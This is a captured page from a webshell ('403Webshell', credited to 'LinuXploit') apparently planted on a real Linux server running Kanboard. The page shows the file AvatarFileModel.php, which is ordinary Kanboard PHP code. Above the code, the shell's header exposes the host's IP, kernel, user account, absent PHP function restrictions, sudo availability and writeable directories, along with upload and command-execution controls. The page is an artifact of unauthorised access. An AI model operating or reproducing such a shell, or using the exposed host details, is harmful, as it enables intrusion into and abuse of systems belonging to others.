403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.216.196
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/kanboard/app/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/kanboard/app/Model/AvatarFileModel.php
<?php

namespace Kanboard\Model;

use Exception;
use Kanboard\Core\Base;

/**
 * Avatar File
 *
 * @package  Kanboard\Model
 * @author   Frederic Guillot
 */
class AvatarFileModel extends Base
{
    /**
     * Path prefix
     *
     * @var string
     */
    const PATH_PREFIX = 'avatars';

    /**
     * Get image filename
     *
     * @access public
     * @param  integer $user_id
     * @return string
     */
    public function getFilename($user_id)
    {
        return $this->db->table(UserModel::TABLE)->eq('id', $user_id)->findOneColumn('avatar_path');
    }

    /**
     * Add avatar in the user profile
     *
     * @access public
     * @param  integer  $user_id    Foreign key
     * @param  string   $path       Path on the disk
     * @return bool
     */
    public function create($user_id, $path)
    {
        $result = $this->db->table(UserModel::TABLE)->eq('id', $user_id)->update(array(
            'avatar_path' => $path,
        ));

        $this->userSession->refresh($user_id);

        return $result;
    }

    /**
     * Remove avatar from the user profile
     *
     * @access public
     * @param  integer  $user_id    Foreign key
     * @return bool
     */
    public function remove($user_id)
    {
        try {
            $filename = $this->getFilename($user_id);

            if (! empty($filename)) {
                $this->objectStorage->remove($filename);
                return $this->db->table(UserModel::TABLE)->eq('id', $user_id)->update(array('avatar_path' => ''));
            }
        } catch (Exception $e) {
            $this->logger->error($e->getMessage());
            return false;
        }

        return true;
    }

    /**
     * Upload avatar image file
     *
     * @access public
     * @param  integer $user_id
     * @param  array   $file
     * @return boolean
     */
    public function uploadImageFile($user_id, array $file)
    {
        try {
            if ($file['error'] == UPLOAD_ERR_OK && $file['size'] > 0) {
                $destinationFilename = $this->generatePath($user_id, $file['name']);
                $this->objectStorage->moveUploadedFile($file['tmp_name'], $destinationFilename);
                $this->create($user_id, $destinationFilename);
            } else {
                throw new Exception('File not uploaded: '.var_export($file['error'], true));
            }

        } catch (Exception $e) {
            $this->logger->error($e->getMessage());
            return false;
        }

        return true;
    }

    /**
     * Upload avatar image content
     *
     * @access public
     * @param  integer $user_id
     * @param  string  $blob
     * @return boolean
     */
    public function uploadImageContent($user_id, &$blob)
    {
        try {
            $destinationFilename = $this->generatePath($user_id, 'imageContent');
            $this->objectStorage->put($destinationFilename, $blob);
            $this->create($user_id, $destinationFilename);
        } catch (Exception $e) {
            $this->logger->error($e->getMessage());
            return false;
        }

        return true;
    }

    /**
     * Generate the path for a new filename
     *
     * @access public
     * @param  integer   $user_id
     * @param  string    $filename
     * @return string
     */
    public function generatePath($user_id, $filename)
    {
        return implode(DIRECTORY_SEPARATOR, array(self::PATH_PREFIX, $user_id, hash('sha1', $filename.time())));
    }

    /**
     * Check if a filename is an image (file types that can be shown as avatar)
     *
     * @access public
     * @param  string   $filename   Filename
     * @return bool
     */
    public function isAvatarImage($filename)
    {
        switch (get_file_extension($filename)) {
            case 'jpeg':
            case 'jpg':
            case 'png':
            case 'gif':
                return true;
        }

        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit